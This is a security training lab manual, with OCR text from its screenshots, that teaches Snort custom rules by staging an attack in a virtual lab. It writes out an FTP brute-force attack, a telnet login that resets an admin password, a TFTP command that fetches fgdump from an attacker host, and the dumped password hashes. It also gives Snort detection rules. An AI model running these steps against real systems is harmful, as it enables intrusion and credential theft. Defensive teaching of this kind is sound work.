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In this lab, students will enumerate hosts on the network using various tools.

This lab includes the following tasks:

· 1 - The Hacker Enters the Network
· 2 - Writing Rules to Protect the Network 
· 3 - The Hacker Triggers Alerts 

You should be aware of the common terms that are relevant within the “Writing Custom Rules” lab to successfully complete it.

Wireshark – A protocol analyzer that read binary capture files. Wireshark will also allow you to capture network traffic and runs on Windows, Linux, and on Mac OS X. 

snort – Snort, is an Intrusion Detection System, or an IDS, can be used to analyze and capture traffic. By using signatures, snort can provide information about activity within a capture file. Snort can be downloaded from www.snort.org and is a free and commercial tool. Sourcefire, a Columbia, Maryland based company, maintains and develops snort. 

tcpdump – A Linux/UNIX program that allows you to capture network traffic. The tcpdump program comes installed on many Linux distributions by default.

Sniffer – A Sniffer is used to capture network traffic on a Network. Software programs like tcpdump, Wireshark, and Network Miner can be used to sniff traffic.

PCAP File – Programs that can sniff network traffic like tcpdump, Wireshark, and Network Miner allow you to save the network capture to a PCAP file format. In order to read the PCAP format, you need a tool like Wireshark or Network Miner.

[bookmark: _Toc263776462]
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The information in the table below will be needed in order to complete the lab.  The task sections below provide details on the use of this information.

Required Virtual Machines and Applications

This lab requires the use of the Windows 7, Windows 2008 Internal and 2008 Sniffer machines.

	
Windows 7 Professional 

	216.1.1.200

	
student password

	password

	
Windows 2008 Internal Machine

	192.168.1.100

	
Administrator password

	P@ssw0rd

	
Sniffer

	NO IP

	
Administrator password

	sniffer











[bookmark: _Toc404629813]The Hacker Enters the Network

Unauthorized access can be a huge problem in a network. With snort, we can write a rule to look for a certain account name within the network traffic. If that account is detected in the network traffic, a snort alert will be generated in the alert.ids file. 

[bookmark: _Toc348364218][bookmark: _Toc404629814]Logging on to the Sniffer

The Linux distribution BackTrack is installed on the sniffer machine. BackTrack is a distribution used by security professionals for pentration testing and forensics. 

Log on to the sniffer

1. On the Windows 2008 Server Sniffer click PC in the upper left and Send Ctrl+Alt+Del in order to log on to the Windows 2008 server.

[image: ]

Figure 1:  Logging on to 2008 Server (Sniffer Machine)

2. Enter sniffer for the Administrator password to the Windows 2008 Server.
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Figure 2:  Logging On
3. Click on the start button. Click the arrow to the far right and select restart. 
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Figure 3:  Restart the Firewall. 

4. Select the second reason in the list from the drop down box and click ok.
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Figure 4:  Shutdown Reason
5. Select the 2nd choice in the menu and hit enter to boot into Linux.
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Figure 5:  Select the Second Choice


6. Type the following command to initialize the GUI (Graphical User Interface): 
	root@bt:~#startx
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Figure 6:   Logging on to the Sniffer



7. Click the small blue arrow in the bottom right corner of the screen to adjust the resolution. Click accept configuration if the Desktop renders correctly.
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Figure 7:   Adjusting the Screen Resolution

8. [bookmark: _Ref331406106]Open a terminal on the Linux Sniffer system by clicking on the image to the right of Firefox in the task bar, in the bottom of the screen.
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Figure 8:   The Terminal Windows within BackTrack 

One of the nice features of some versions of BackTrack is that they are not automatically assigned IP addresses through the use of DHCP, or Dynamic Host Configuration Protocol.  This is because the interfaces are not active – they must be manually enabled.  It works well for this scenario as sniffers do not normally have assigned IP Addresses.





9. Only the loopback address, 127.0.0.1, is displayed when you type:
	root@bt:~#ifconfig
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Figure 9:   No IP address, other than the Loopback Address of 127.0.0.1, is displayed

10. Type the following command to view all available interfaces on the system:
	root@bt:~#ifconfig -a
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Figure 10:   Display All Interfaces 
11. To activate the first interface, type the following command:
	 root@bt:~#ifconfig eth0 up
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Figure 11:  Activating the First Interface

12. To mount the disk for capture, type the following commands:
root@bt:~#mkdir  /mnt/sdb1
root@bt:~#mount  /dev/sdb1  /mnt/sdb1
root@bt:~#cd  /mnt/sdb1
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Figure 12:  Mount the Disk for large Capture Files

13. Type the following verify that a snort directory is present on the drive:
root@bt:/mnt/sdb1#ls

[image: ]

	Figure 13: Viewing the Drive Contents 

14. Type the following command to start the sniifer on the internal interface: 
root@bt:/mnt/sdb1#tcpdump –i eth0 -nntttt -s 0 -w brute.cap

[image: ]

	Figure 14: Capturing Traffic 


15. Log on to Windows 7 as student with the password of password. 
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Figure 15:  Logging on to the Windows 7 Machine  

16. Open a Command prompt and type the following command to scan the firewall for open ports:
C:\>nmap 216.1.1.1

[image: ]

Figure 16:  The results of the port scan

17. On the Windows 7 machine, click on the shortcut to Firefox on the desktop.

[image: ]

Figure 17:  Shortcut to Firefox

18. Type http://216.1.1.1 in the URL bar to connect to the internal web site.

[image: ]

Figure 18:  External Web Site
 
19. Right click on the web site page and select view source to view the HTML code.
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Figure 19:  Launching Bruter 
 
20. Notice that the name of the administrator is displayed in the HTML source code. 
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Figure 20:  Page Source  
21. Double Click on the Bruter.exe shortcut on the Windows 7 Desktop.
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Figure 21:  Launching Bruter  

Sometimes, there will be hidden information about the web site or network administrators in the HTML code of a webpage. In some cases, even hidden passwords could be there. Regardless of the situation, it is not a bad idea to “check under the hood” for any additional information, like usernames, passwords, or email addresses.

22. Type 216.1.1.1 for the Target IP. For the username type sperkins. For the dictionary, click the browse button. Click Wordlist.txt and click Open.

[image: ]

Figure 22:  Setting the Bruter Options


23. Click the Start button to initiate the Brute Force attack against FTP.
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Figure 23:  Starting the Attack
  
24. Within Bruter, click on the Testing Tab to view the actions against the victim.
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Figure 24:  Brute Force Attempts

25. After Bruter has cycled through the dictionary words, click the result tab. 
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	Figure 25: Bruter Results
 
26. In the Windows 7 Command Prompt, type the following command:
C:\>telnet 216.1.1.1

[image: ]

Figure 26:  Telnet to the Server

27. Click “n” to the security warning message from the TELNET server.
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Figure 27:  TELNET Warning 

28. Log in as the user sperkins with the password of northcarolina.
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Figure 28:  TELNET Login

29. You should be successfully logged in to the Microsoft TELNET server. Type the following command to list all of the administrative accounts on the system.
C:\>net localgroup administrators
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Figure 29:  Listing Administrators 

30. Type the following command to change the password for the user admin.
C:\>net user admin  igothacked

[image: ]

Figure 30:  Creating an account

31. Type the following command to leave the telnet session:
C:\>exit

[image: ]

Figure 31:  Leaving TELNET 

32. On the sniffer, hit Control + C to stop the tcpdump program. Type the following:
root@bt:/mnt/sdb1#snort -l . -c /etc/snort/snort.conf  -r brute.cap

[image: ]

Figure 32:  Stopping Snort from Logging 

33. Type the following command to analyze the alert file generated by snort:
root@bt:/mnt/sdb1#kwrite alert

[image: ]

Figure 33:  Viewing the Generated Alert File 

You should see a large number of brute force attempts.
The alert file is aware of the following items that took place on the internal network:
· The attack by 216.1.1.200 over port 21
· The large number of attempts within seconds indicate this is not normal activity

34. On the Internal Windows 2008 Server, click PC then “Send Ctrl+Alt+Del” in the top left corner of the screen in order to log on to the Windows 2008 server.
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Figure 34:  Logging on to 2008 Server

35. Enter P@ssw0rd for the Administrator password on the Windows 2008 Server Internal Machine.
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Figure 35:  Logging into Windows 2008 Internal









36. On the Windows 2008 Internal victim, Click Start and click the Computer link.
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Figure 36:  Computer Link

37. Double click on Local Disk (C:)
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Figure 37:  Local Disk (C:)

38. Double Click on Windows:

[image: ]

Figure 37:  Windows Directory

39. Double Click on the System32 directory:

[image: ]

Figure 39:  System32 Directory

40. Double Click on the Logfiles directory:
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Figure 40:  The Logfiles folder in System32

41. Double click on MSFTPSVC1.
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Figure 41:  The FTP Logs Directory 
42. Double click on the Log file with today’s date. The format is Year/Month/Day.
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Figure 42:  The FTP Log files

43. Select Edit for the Menu Bar and click find. In the find what box, type 230 and hit enter to look for successful logins. The sperkins account has a successful login (230) after a large number of unsuccessful login attempts (530). The large numbers of failed attempts are indicative of a brute force attack or a dictionary attack.
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Figure 43:  The FTP Log files
44. Click start and type dsa.msc within the run box to Open Active Directory Users and Computers.

[image: ]

Figure 44:  Open Active Directory 

45. Double Click on the Users folder located under the xyzcompany.com domain.

[image: ]

Figure 45:  Users Folder

46. Right click on the sperkins user and disable the account.

[image: ]

Figure 46:  Disable
47. You will receive the message that the account has been disabled. Click OK.

[image: ]

Figure 47:  Disabled Account

The user account sperkins will have a down arrow indicating the account is disabled.

[image: ]
Figure 48:  Disabled Account
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The tcpdump utility can be used to capture network traffic. After a capture file has been generated, that capture file can be analyzed with snort. An alert file is generated when snort examines the traffic. Alerts will help us determine malicious network activity.
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1. What file does snort generate that provides detail about malicious activity?
2. What is the command to get snort to analyze a PCAP file?
3. What does the Bruter program do?
4. What is a Brute force attack?










[bookmark: _Toc404629817]Writing Custom Rules

In the first section the attacker got into the network. Snort alerted us to the fact that an FTP brute force attack happened. After examining the FTP log files on the server, it was discovered that there was a successful login with the sperkins account. For that reason, the account was disabled. We will now write some custom rules for network traffic.

[bookmark: _Toc404629818]The local.rules file

In this exercise, we will edit the local.rules file in snort so certain traffic can be detected. Perform all of the actions for section 2 on the sniffer machine booted into BackTrack.

1. Copy the local.rules file from the second hard disk to the BackTrack snort folder:
root@bt:/mnt/sdb1#cp Snort/rules/local.rules  /etc/snort/rules/local.rules

[image: ]

Figure 49:  Stopping Snort from Logging 

2. Type the following command to open the local.rules file:
root@bt:/mnt/sdb1#kwrite /etc/snort/rules/local.rules

[image: ]

Figure 50:  local.rules File 

3. For the first custom rule, change the following two entries: 
msg:"Metasploit's Meterpreter Shell Detected" to msg:"sperkins  Detected" 
Change content:"metsrv.dll" to content:"sperkins"

[image: ]

Figure 51:  Custom Rule 

4. For the second custom rule, change the following two entries: 
from msg:"Windows CMD.EXE banner";  to msg:"fgdump downloaded"; 
from content:"Microsoft Windows" to content:"fgdump"

[image: ]

Figure 52:  Custom Rule 

5. For the third custom rule, change the following two entries: 
from msg:"SQL Injection Attempt";  to msg:"fgdump Executed"; 
from content:"or+1%3D1" to content:"PASSWORD"

[image: ]

Figure 53:  Custom Rule 

6. Select File from the menu bar and click Save to save the file. Close the local.rules file.
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Figure 54:  Save the File 

7. Type the following command to start the sniifer on the internal interface: 
root@bt:/mnt/sdb1#tcpdump –i eth0 -nntttt -s 0 -w badtraffic.cap

[image: ]

	Figure 55: Capturing Traffic 


[bookmark: _Toc404629819]Conclusion

Custom rules can be written to look for certain types of traffic that can appear on a network. You can write a custom rule to look for a certain account name, a file name, or output from a file that results when the file is executed. The local.rules file is the file that needs to be edited if you want to create a custom rules. The local.rules file is located within the snort directory which is located within the /etc directory.


[bookmark: _Toc404629820]Discussion Questions

1. What command can be used in the KDE version of Linux to edit a file?
2. What is the name of the file used in snort to create custom rules?
3. What directory can you find the local.rules file within snort?
4. What is the parent directory where snort is located?
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In the second section, we wrote custom rules to detect malicious network traffic. We want to be aware of any attempts to use the “sperkins” account. Also, we want to look for signs of malicious activity in case the hacker has control of another account (like admin).

[bookmark: _Toc404629822]Triggering Alerts

In this exercise, the hacker will log back into the network and trigger alerts.
Perform the following steps on the External Machine running BackTrack 5 R3 Linux: 

Note: Just click in the Window and hit enter if BackTrack is displaying a black screen.

1. Type root for the login and toor (root spelled backwards) for the password. 

Note: The password of toor will not be displayed when you type it for security purposes.

[image: ]

Figure 56:  Logging in as root 

2. Type the following command to start the Graphical User Interface (GUI).
root@bt:~# startx

[image: ]

Figure 57:  The startx command 

3. Open a terminal on the Linux system by clicking on the picture to the right of the word System in the task bar in the top of the screen in BackTrack version 5 R3.

[image: ]

Figure 58:  The Linux Terminal

4. Make a directory called tftpboot by typing the following command:
root@bt:~# mkdir  /tftpboot

[image: ]

Figure 59:  Make a Directory

5. Start the tftp server by typing the following command: 
root@bt:~# atftpd --daemon /tftpboot

[image: ]

Figure 60:  Start TFTP

6. Type the following command to verify that TFTP is listening on UDP port 69: 
root@bt:~# netstat -uan

[image: ]

Figure 61:  The netstat command

7. Copy the malicious file to the webroot of BackTrack by typing the following:
root@bt:~# cp /pentest/windows-binaries/passwd-attack/fgdump.exe   /tftpboot

[image: ]

Figure 62:  File copy

8. Verify that the malicious file is present in the tftpboot directory by typing:
root@bt:~# ls  /tftpboot

[image: ]

Figure 63:  Viewing Files
9. Telnet to 216.1.1.1. Log in as “sperkins” with the password of “northcarolina”. 
root@bt:~# telnet 216.1.1.1

	Note: The telnet connection will fail because the sperkins account is disabled.

[image: ]

Figure 64:  Failed TELNET connections

10. Telnet to 216.1.1.1. Log in as “administrator” with the password of “P@ssw0rd”.
root@bt:~# telnet 216.1.1.1

[image: ]

Figure 65:  Telnet Connection

11. Type the following command at the telnet command prompt.
	C:\Users\administrator>tftp -i 216.1.1.100 get fgdump.exe

[image: ]

Figure 66:  TFTP

12. Type fgdump. Hit Control + C if the program takes longer than a few minutes.
	C:\Users\administrator>fgdump
	
[image: ]

Figure 67:  Executing fgdump

13. Type the following command to dump the password hashes:
C:\Users\Administrator>type 127.0.0.1.pwdump

[image: ]

Figure 68:  Dumping the Hashes
[bookmark: _Toc348364227] 
14. On the sniffer, hit Control + C to stop the tcpdump program. Type the following to remove the alert file. This is done because snort appends to this file when ran.
root@bt:/mnt/sdb1#rm –rf alert

[image: ]

Figure 69:  Remove the alert file 

15. On the sniffer, type the following to edit the snort.conf file:
root@bt:/mnt/sdb1#kwrite /etc/snort/snort.conf

[image: ]

Figure 70:  Editing snort.conf

16. On the sniffer, hit Control + F to bring up the find box. Type local.rules and then click find. Remove the # sign in front of include /etc/snort/rules/local.rules. To save the changes to the snort.conf file, hit Control + S. Close the file.

[image: ]

Figure 71:  Including the local.rules 
17. On the sniffer, type the following command to put the capture file through snort:
root@bt:/mnt/sdb1#snort -l . -c /etc/snort/snort.conf  -r badtraffic.cap
 [image: ]

Figure 72:  Run the Capture through Snort

18. Type the following command to analyze the alert file generated by snort:
root@bt:/mnt/sdb1#kwrite alert

[image: ]

Figure 73:  Viewing the Generated Alert File 

[bookmark: _Toc404629823]Conclusion

Malicious traffic can be detected by snort by using custom rules. In order for the local.rules file to be processed, you may need to alter the snort.conf file.


[bookmark: _Toc348364228][bookmark: _Toc404629824]Discussion Questions

1. What directory is the snort.conf file located in?
2. What is the command to start the TFTP server?
3. What port does TFTP utilize?
4. Does TFTP use TCP or UDP?

[bookmark: _Toc348364231]
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It works!

This is web Page on the Internal Windows 2008 Server.

‘The web server software is running but no content has been added, yet.
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<ntml><hody><ni>It works!</hi>
<p>This is web Page on the Internal Windows 2008 Server.</p>

<p>The web server softvare is running but no content has been added,
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<font color="uhite">SPerkins - website administrator</font>
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\>telnet 216.1.1.1
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vou are about to send your password information to a remote computer in Internet
zone. This might not be safe. Do you want to send anyway(y/n):




image33.png
weTcome to Microsoft Telnet Service

Togin: sperkins
password:
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Microsoft Telnet Server

c:\>net localgroup administrators

Alias name administrators

Comment. Administrators have complete and unrestricted access to the compu
ter/domain

Members

admin

administrator

Domain Admins

Enterprise Admins

sperkins

The command completed successfully.

Cil\e




image35.png
C:\»net user admin igothacked
The command completed successfully.
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root@bt:/mnt/sdbl# snort -1 . -c /etc/snort/snort.conf -r brute.cap
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TCP TTL:128 T0S:0x0 ID:24324 IplLen:20 DgmLen:74 DF [=
*HFXAP*** Seq: OX75ED7DO7 Ack: 0xC0537498 Win: OxFD TcplLen: 20
[Xref =>
http://www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/SCAN/SCAN_FTP
_Brute_Force][Xref => http://doc.emergingthreats.net/2002383

[**] [1:2002383:11] ET SCAN Potential FTP Brute-Force attempt [**]
[Classification: Unsuccessful User Privilege Gain] [Priority: 1].
08/23-18:53:35.767163 192.168.1.100:21 -> 216.1.1.200:1059

TCP TTL:128 T0S:0x0 ID:24335 IpLen:20 DgmLen:74 DF

*HF*AP*** Geq: OX75ED7D4E Ack: 0xCO5374B7 Win: OxFD TcplLen: 20
[Xref =>
http://www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/SCAN/SCAN_FTP
_Brute_Force] [Xref => http://doc.emergingthreats.net/2002383

[**] [1:2002383:11] ET SCAN Potential FTP Brute-Force attempt [**]
[Classification: Unsu:
08/23-18:53:35.772682 |1
TCP TTL:128 TUS 0x0
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|r00tébt:/mnt/sdb1# cp Snort/rules/local.rules /etc/snort/rules/local.rules
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ol
File Edit View Bookmarks Tools Settings Help
Lo Qd= Os &=

local.rules,v 1.13 2005/62/10 01:11:04 bmc Exp $

# This file intentionally does not come with signatures. Put your local
# additions here.

alert ip any any -> any any (msg:"Metasploit's Meterpreter Shell Detected";
content:"metsrv.dll"; sid: 1000001; rev:1;)

alert ip any any -> any any (msg:"Windows CMD.EXE banner";
content:"Microsoft Windows"; sid: 1000002; rev:1;)

alert ip any any -> any any (msg:"SQL Injection Attempt";
content:"or+1%3D1"; sid: 1000003; rev:1;)
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alert ip any any -> any any 1000001; rev

p
alert ip any any -> any any (msg:"fgdump Executed"; content:"PASSWORD"; sid: 1000003; rev:




image56.png
alert ip any any -> any any (msq:"sperkins Detected"; content:"sperkins"; sid: 1000001; rev:1;

alert ip any any -> any any|(msg:"fgdump downloaded"; content: "fgdump"; si 1000002, re

alert ip any any -> any any Tmsg
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alert ip any any -> any any (msg:"sperkins Detected"; content:"sperkins"; sid: 1000001; rev:1;)
alert ip any any -> any any (msq:"fqdump downloaded"; content:"fgdump"; sid: 1000002; H

alert ip any any -> any any|(msg:"fgdump Executed"; content:"PASSWORD"; sid: 1000003; re
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alert ip any any -> any any (nsg:"sperkins Detected"; content:"sperkins'; sid: 1000981; rev:1;)
alert ip any any -> any any (nsg:"fodusp downloaded"; content:"fodump"; sid: 100692; rev:1;)
alert ip any any -> any any (nsg:"fqdump Executed'; content:*PASSHORD"; sid: 1000083; rev:1;)
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root@t:/mnt/sdbl# tcpdump -i eth® -s @ -nntttt -w badtraffic.cap
tcpdump: WARNING: etho: no IPva address assigned
tcpdump: listening on eth®, link-type EN1OGMB (Ethernet), capture size 65535 bytes
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BackTrack 5 R3 - 32 Bit bt ttyl
bt login: root

Passuord: toor

Last login: Tue fug 13 22:37:12 EDT 2013 on ttyl

Linux bt 3.2.6 #1 SMP Fri Feb 17 10:40:05 EST 2012 i686 GNU./Linux
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root@bt:"# startx_
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Applications Places System 2]

~ v % root@bt: ~
File Edit View Terminal Help

root@bt:~#
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root@ht:~# mkdir /tftpboot
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|rubt@bt:~# atftpd --daemon /tftpboot
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root@bt:~# netstat -uan

Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address
0 0.0.0.0:68
0 0.0.0.0:69
0 :

udp [¢]
udp [¢]
udp6 0

56357

Foreign Address
0.0.0.0:*
0.0.0.0:*
::1:56357

State

ESTABLISHED
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\ruut@bt:~# cp /pentest/windows-binaries/passwd-attack/fgdump.exe /tftpboot/
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root@bt:~# ls /tftpboot/
fgdump.exe
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root@t:~# telnet 216.1.1.1
Trying 216.1.1.1...

Connected to 216.1.1.1.

Escape character is '*]'.

Welcome to Microsoft Telnet Service

login: sperkins
password:
The handle is invalid.

Login Failed
login: sperkins
password:

The handle is invalid.
Login Failed

login: sperkins
password:

The handle is invalid.
Login Failed

Telnet Server has closed the connection
Connection closed bv foreian host.
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root@bt:~# telnet 216.1.1.1

Trying 216.1.1.1...

Connected to 216.1.1.1.

Escape character is '"]'.

Welcome to Microsoft Telnet Service

login: administrator
password:

*:

Microsoft Telnet Server

*:

\Users\Administrator>]
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*:

Microsoft Telnet Server
N
C:\Users\Administrator>tftp -i 216.1.1.100 get fgdump.exe
Transfer successful: 974848 bytes in 1 second(s), 974848 bytes/s

\Users\Administrator>
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C:\Users\Administrator>fgdump
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C:\Users\Administrator>type 127.0.0.1.pwdump
Administrator:500:N0 PASSWORD**#kkxkokxikokikxiikik: E19CCF75EE54E06BO6A5907AF13CE
F42:::

GUest:501:NO PASSWORD***+kxkktkxkkskrkirin:NO PASSWORDH**Hkkkrkkbkrkhbknks
krbtgt:502:N0 PASSWORD***kkxkokkikxiokkikxk: g9BOI8IO10E24FDOEBFFOEB50821382
admin:1000:NO PASSWORD**#kkxkokskiiokxiokxiikxk: 083703D6DDDE62EABI2DBFD61EB7DFA4 :
jblake:1003:NO PASSWORD**#*xkoksioiokiokxiiokik : (7355A8832D235CA7BA63F05909BC6DB
jlewis:1004:NO PASSWORD**#*xiokskiiokxiokkiikxik : \028052D892D21C84F8BB7011E55777E
rmiller:1005:N0 PASSWORD*# ¥k kokxkokkikkxiokk : 6FF91655F0626C298C1385F6C696BCE

twoods:1006:NO PASSWORD**#*xkokskikokxkokkikxiok : 63F39308D2F0821D6755D9C75BA96FOC
007:NO PASSWORD**#kskokoksxkokokookxioikxk : ACEEO53CIDAFD29E83FE1EE9AB49648D
008:NO PASSWORD**#kskkokaxiokokoiokxioink : C7TE0495694944E74150F92C994F28D20
pmanning:1009:NO PASSWORD* ¥k kokxkokskiokxkokk: QE3F80B1842531517C34240217E5D9

emanning:1010:NO PASSWORD***kkskiokiokxioiokxikxk : 58BFE21A2DE76645FCA2B2CCO7B355BB:

ttebow:1011:NO PASSWORD**#*xkokskiokxkokkoikxiok : A\CB5EA41C14984835C2107256DCCHEOC
ereed:1012:NO PASSWORD**#kkkokskioiokiokkioikxk: JBABCOE1F42174B3D94E71274012216E :
IUSR WINFILE:1117:NO PASSWQRD*¥¥¥iiiioiokofsiiioiiix: 7T46E4E7B558 1B93FEO3E8F8DFA4671
DEB:::

sperkins:1119:NO PASSWORD***#ksiokokiokxiookxikxk: 88141ABD1F27CF320CE1CO523F4A7930:





image73.png
ro'ot@bt:/mnt/'s;ibl# ™ -rf alert
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root@bt:/mnt/sdbl# kwrite /etc/snort/snort.conf
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Find Text - KWrite

Text to find:
local.rules

Regular expression

Options

x| Case sensitive Find backwards

Whole words only

% From cursor

include /etc/snort/rules/local.rules

# include /etc/snort/rules/bad-traffic.rules
# include /etc/snort/rules/exploit.rules

# include /etc/snort/rules/scan.rules

# include /etc/snort/rules/finaer.rules





image76.png
root@bt:/mnt/sdb1l# snort -1 . -c /etc/snort/snort.conf -r badtraffic.cap
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[**] [1:1000001:1] sperkins Detected [**]

[Priority: 0].

08/30-20:18:34.308779 216.1.1.100:41839 -> 192.168.1.100:23

TCP TTL:240 T0S:0x10 ID:0 IpLen:20 DgmLen:173

*HF*AP*** Seq: OxDA38B237 Ack: 0x37689F10 Win: ©x300 TcplLen: 20

[**] [1:1000002:1] fgdump Downloaded [**]

[Priority: 0].

08/30-20:21:21.466433 192.168.1.100:65400 -> 216.1.1.100:69
UDP TTL:128 T0S:0x0 ID:8503 IpLen:20 DgmLen:47

Len: 19

[**] [1:1000002:1] fgdump Downloaded [**]

[Priority: 0]

08/30-20:21:21.546239 216.1.1.100:37746 -> 192.168.1.100:65400
UDP TTL:64 T0S:0x0 ID:51359 IplLen:20 DgmLen:544 DF

Len: 516

[**] [1:1000002:1] fgdump Downloaded [**]
[Priority: 0]
08/30-20:21:21.548744 216.1.1.100:37746 -> 192.168.1.100:65400
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